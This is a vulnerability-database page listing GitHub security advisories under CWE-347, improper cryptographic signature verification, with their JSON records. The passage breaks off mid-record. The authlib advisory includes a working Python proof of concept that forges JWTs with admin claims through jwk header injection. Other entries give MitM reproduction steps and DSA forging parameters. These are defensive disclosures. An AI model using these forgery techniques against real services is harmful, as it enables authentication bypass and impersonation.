Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1238 vulnerabilities reference this CWE, most recent first.

GHSA-WJVM-2XMX-5VHG

Vulnerability from github – Published: 2024-07-10 21:30 – Updated: 2024-07-10 21:30
VLAI
Details

An improper file signature check in Palo Alto Networks Cortex XDR agent may allow an attacker to bypass the Cortex XDR agent's executable blocking capabilities and run untrusted executables on the device. This issue can be leveraged to execute untrusted software without being detected or blocked.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-10T19:15:11Z",
    "severity": "MODERATE"
  },
  "details": "An improper file signature check in Palo Alto Networks Cortex XDR agent may allow an attacker to bypass the Cortex XDR agent\u0027s executable blocking capabilities and run untrusted executables on the device. This issue can be leveraged to execute untrusted software without being detected or blocked.",
  "id": "GHSA-wjvm-2xmx-5vhg",
  "modified": "2024-07-10T21:30:38Z",
  "published": "2024-07-10T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5912"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2024-5912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WMMR-FRFJ-GMMW

Vulnerability from github – Published: 2023-02-06 15:30 – Updated: 2025-03-26 21:30
VLAI
Details

Western Digital My Cloud devices before OS5 do not use cryptographically signed Firmware upgrade files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-36226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-06T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Western Digital My Cloud devices before OS5 do not use cryptographically signed Firmware upgrade files.",
  "id": "GHSA-wmmr-frfj-gmmw",
  "modified": "2025-03-26T21:30:44Z",
  "published": "2023-02-06T15:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2020/weekend_destroyer/weekend_destroyer.md"
    },
    {
      "type": "WEB",
      "url": "https://krebsonsecurity.com/2021/07/another-0-day-looms-for-many-western-digital-users"
    },
    {
      "type": "WEB",
      "url": "https://www.youtube.com/watch?v=vsg9YgvGBec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WMQC-JFC8-PFM5

Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2024-11-27 21:32
VLAI
Details

The Portable Document Format (PDF) specification does not provide any information regarding the concrete procedure of how to validate signatures. Consequently, a Signature Wrapping vulnerability exists in multiple products. An attacker can use /ByteRange and xref manipulations that are not detected by the signature-validation logic. This affects Foxit Reader before 9.4 and PhantomPDF before 8.3.9 and 9.x before 9.4. It also affects eXpert PDF 12 Ultimate, Expert PDF Reader, Nitro Pro, Nitro Reader, PDF Architect 6, PDF Editor 6 Pro, PDF Experte 9 Ultimate, PDFelement6 Pro, PDF Studio Viewer 2018, PDF Studio Pro, PDF-XChange Editor and Viewer, Perfect PDF 10 Premium, Perfect PDF Reader, Soda PDF, and Soda PDF Desktop.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-18689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-07T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Portable Document Format (PDF) specification does not provide any information regarding the concrete procedure of how to validate signatures. Consequently, a Signature Wrapping vulnerability exists in multiple products. An attacker can use /ByteRange and xref manipulations that are not detected by the signature-validation logic. This affects Foxit Reader before 9.4 and PhantomPDF before 8.3.9 and 9.x before 9.4. It also affects eXpert PDF 12 Ultimate, Expert PDF Reader, Nitro Pro, Nitro Reader, PDF Architect 6, PDF Editor 6 Pro, PDF Experte 9 Ultimate, PDFelement6 Pro, PDF Studio Viewer 2018, PDF Studio Pro, PDF-XChange Editor and Viewer, Perfect PDF 10 Premium, Perfect PDF Reader, Soda PDF, and Soda PDF Desktop.",
  "id": "GHSA-wmqc-jfc8-pfm5",
  "modified": "2024-11-27T21:32:36Z",
  "published": "2022-05-24T17:38:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18689"
    },
    {
      "type": "WEB",
      "url": "https://pdf-insecurity.org/signature/evaluation_2018.html"
    },
    {
      "type": "WEB",
      "url": "https://pdf-insecurity.org/signature/signature.html"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    },
    {
      "type": "WEB",
      "url": "https://www.pdfa.org/recently-identified-pdf-digital-signature-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPP8-9P7M-8GX2

Vulnerability from github – Published: 2024-11-05 12:31 – Updated: 2024-11-05 12:31
VLAI
Details

Permission control vulnerability in the hidebug module Impact: Successful exploitation of this vulnerability may affect service confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-51526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-05T10:21:14Z",
    "severity": "HIGH"
  },
  "details": "Permission control vulnerability in the hidebug module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-wpp8-9p7m-8gx2",
  "modified": "2024-11-05T12:31:03Z",
  "published": "2024-11-05T12:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51526"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2024/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQP7-2WW4-Q6MF

Vulnerability from github – Published: 2026-08-03 15:32 – Updated: 2026-08-03 21:31
VLAI
Details

XML::Sig versions before 0.71 for Perl allow signature wrapping via duplicate ID.

_get_signed_xml() in lib/XML/Sig.pm, called from verify(), resolves the SignedInfo Reference/@URI to a node with the XPath expression "//*[@ID='$id']" and returns the first node of the resulting node set. A document in which two elements share that ID value is accepted: the digest and signature are checked against whichever element comes first in document order, and the duplicate is not detected.

Such a document verifies successfully while an application that resolves the same ID independently can read the second, attacker supplied element; in a SAML2 context this places the contents of an Assertion under attacker control.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T14:16:31Z",
    "severity": "CRITICAL"
  },
  "details": "XML::Sig versions before 0.71 for Perl allow signature wrapping via duplicate ID.\n\n_get_signed_xml() in lib/XML/Sig.pm, called from verify(), resolves the SignedInfo Reference/@URI to a node with the XPath expression \"//*[@ID=\u0027$id\u0027]\" and returns the first node of the resulting node set. A document in which two elements share that ID value is accepted: the digest and signature are checked against whichever element comes first in document order, and the duplicate is not detected.\n\nSuch a document verifies successfully while an application that resolves the same ID independently can read the second, attacker supplied element; in a SAML2 context this places the contents of an Assertion under attacker control.",
  "id": "GHSA-wqp7-2ww4-q6mf",
  "modified": "2026-08-03T21:31:35Z",
  "published": "2026-08-03T15:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/perl-net-saml2/perl-XML-Sig/commit/4976bde5245df69b8e02c6ae061acbd4891cd7f9.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/TIMLEGGE/XML-Sig-0.71/source/Changes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV7Q-JRQ7-C9JQ

Vulnerability from github – Published: 2024-12-03 06:30 – Updated: 2024-12-03 06:30
VLAI
Details

Improper Verification of Cryptographic Signature in SmartSwitch prior to SMR Dec-2024 Release 1 allows local attackers to install malicious applications.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-03T06:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper Verification of Cryptographic Signature in SmartSwitch prior to SMR Dec-2024 Release 1 allows local attackers to install malicious applications.",
  "id": "GHSA-wv7q-jrq7-c9jq",
  "modified": "2024-12-03T06:30:55Z",
  "published": "2024-12-03T06:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49413"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2024\u0026month=12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WVC4-J7G5-4F79

Vulnerability from github – Published: 2023-03-27 21:12 – Updated: 2023-03-27 21:12
VLAI
Summary
NATS TLS certificate common name validation bypass
Details

The NATS official Rust clients are vulnerable to MitM when using TLS.

A fix for the nats crate hasn't been released yet. Since the nats crate is going to be deprecated anyway, consider switching to async-nats >= 0.29 which already fixed this vulnerability.

The common name of the server's TLS certificate is validated against the hostname provided by the server's plaintext INFO message during the initial connection setup phase. A MitM proxy can tamper with the host field's value by substituting it with the common name of a valid certificate it controls, fooling the client into accepting it.

Reproduction steps

  1. The NATS Rust client tries to establish a new connection
  2. The connection is intercepted by a MitM proxy
  3. The proxy makes a separate connection to the NATS server
  4. The NATS server replies with an INFO message
  5. The proxy reads the INFO, alters the host JSON field and passes the tampered INFO back to the client
  6. The proxy upgrades the client connection to TLS, presenting a certificate issued by a certificate authority present in the client's keychain. In the previous step the host was set to the common name of said certificate
  7. rustls accepts the certificate, having verified that the common name matches the attacker-controlled value it was given
  8. The client has been fooled by the MitM proxy into accepting the attacker-controlled certificate
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "nats"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.24.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-27T21:12:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The NATS official Rust clients are vulnerable to MitM when using TLS.\n\nA fix for the `nats` crate hasn\u0027t been released yet. Since the `nats` crate is going to be deprecated anyway, consider switching to `async-nats` `\u003e= 0.29` which already fixed this vulnerability.\n\nThe common name of the server\u0027s TLS certificate is validated against the `host`name provided by the server\u0027s plaintext `INFO` message during the initial connection setup phase. A MitM proxy can tamper with the `host` field\u0027s value by substituting it with the common name of a valid certificate it controls, fooling the client into accepting it.\n\n## Reproduction steps\n\n1. The NATS Rust client tries to establish a new connection\n2. The connection is intercepted by a MitM proxy\n3. The proxy makes a separate connection to the NATS server\n4. The NATS server replies with an `INFO` message\n5. The proxy reads the `INFO`, alters the `host` JSON field and passes the tampered `INFO` back to the client\n6. The proxy upgrades the client connection to TLS, presenting a certificate issued by a certificate authority present in the client\u0027s keychain. In the previous step the `host` was set to the common name of said certificate\n7. `rustls` accepts the certificate, having verified that the common name matches the attacker-controlled value it was given\n9. The client has been fooled by the MitM proxy into accepting the attacker-controlled certificate\n",
  "id": "GHSA-wvc4-j7g5-4f79",
  "modified": "2023-03-27T21:12:24Z",
  "published": "2023-03-27T21:12:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nats-io/nats.rs/pull/881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nats-io/nats.rs/pull/887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nats-io/nats.rs/commit/9bacb86a480803ece9d1a45aa443081cf1eb815c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nats-io/nats.rs"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2023-0029.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "NATS TLS certificate common name validation bypass"
}

GHSA-WVQX-V3F6-W8RH

Vulnerability from github – Published: 2026-03-23 06:30 – Updated: 2026-07-21 15:03
VLAI
Summary
jsrsasign: DSA signatures or X.509 certificates can be forged via DSA domain-parameter validation in KJUR.crypto.DSA.setPublic
Details

Versions of the package jsrsasign before 11.1.1 are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsrsasign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T19:29:53Z",
    "nvd_published_at": "2026-03-23T06:16:21Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash.",
  "id": "GHSA-wvqx-v3f6-w8rh",
  "modified": "2026-07-21T15:03:27Z",
  "published": "2026-03-23T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4600"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/pull/646"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/commit/37b4c06b145c7bfd6bc2a6df5d0a12c56b15ef60"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15370940"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-15812268"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4600.json"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kjur/jsrsasign"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Kr0emer/bf15ddc097176e951659a24a8e9002a7"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450208"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-4600"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6926"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6912"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6720"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6568"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19410"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19409"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19375"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jsrsasign: DSA signatures or X.509 certificates can be forged via DSA domain-parameter validation in KJUR.crypto.DSA.setPublic"
}

GHSA-WVWJ-CVRP-7PV5

Vulnerability from github – Published: 2026-03-16 15:17 – Updated: 2026-03-16 21:53
VLAI
Summary
Authlib JWS JWK Header Injection: Signature Verification Bypass
Details

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

  • §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT jwk header field.
  5. Attacker uses an unknown kid to cause the key resolver to return None.
  6. The library uses header["jwk"] for verification — signature passes.
  7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction):

sudo docker run --rm authlib-cve-poc:latest \
  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:

  • key=None is passed directly, or
  • a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:

# DELETE:
elif key is None and "jwk" in header:
    key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved:

if key is None:
    raise MissingKeyError("No key provided and no valid key resolvable from context.")
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T15:17:15Z",
    "nvd_published_at": "2026-03-16T18:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`\u0027s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\nin the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid \u2014 bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 \u00a74.1.3** and the validation algorithm defined in **RFC 7515 \u00a75.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py`  \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`  \n**Lines:** 272\u2013273\n\n```python\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]   # \u2190 attacker-controlled key used for verification\n```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value \u2014 which is fully attacker-controlled \u2014 and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **\u00a74.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n  embedded by the token submitter cannot be trusted as a verification anchor.\n- **\u00a75.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n  context*, not from the token itself. There is no step in the RFC that permits falling back to\n  the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n\n```python\ndef lookup_key(header, payload):\n    kid = header.get(\"kid\")\n    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated\n\njws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker\u0027s embedded\nkey. The developer never wrote `key=None` \u2014 the library\u0027s fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification \u2014 signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n\n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\nimport json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\nattacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None \u2014 token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims)  # {\u0027sub\u0027: \u0027attacker\u0027, \u0027role\u0027: \u0027admin\u0027}\nassert claims[\"role\"] == \"admin\"  # PASSES\n```\n\n**Expected output:**\n```\n{\u0027sub\u0027: \u0027attacker\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib\u0027s\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\nThe forged token is indistinguishable from a legitimate one \u2014 no exception is raised.\n\nThis is a violation of **RFC 7515 \u00a74.1.3** and **\u00a75.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** \u2014 remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n# DELETE:\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]\n```\n\n**Recommended safe replacement** \u2014 raise explicitly when no key is resolved:\n```python\nif key is None:\n    raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```",
  "id": "GHSA-wvwj-cvrp-7pv5",
  "modified": "2026-03-16T21:53:55Z",
  "published": "2026-03-16T15:17:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27962"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.6.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib JWS JWK Header Injection: Signature Verification Bypass"
}

GHSA-WW38-37G9-M3Q3

Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-08-12 16:22
VLAI
Summary
Spring Security SAML2 Service Provider: Decryption Oracle Vulnerability from Unsigned SAML Response and Logout Payloads
Details

Since Spring Security SAML decrypts SAML Responses as well as elements of SAML LogoutRequests and LogoutResponses without requiring a valid signature, attackers may be able to craft these SAML payloads and use the Service Provider as a decryption oracle.

Affected versions: Spring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-saml2-service-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.10"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-saml2-service-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.5.0"
            },
            {
              "fixed": "6.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-saml2-service-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.0"
            },
            {
              "last_affected": "6.4.16"
            }
          ],
          "type": "ECOSYSTEM"
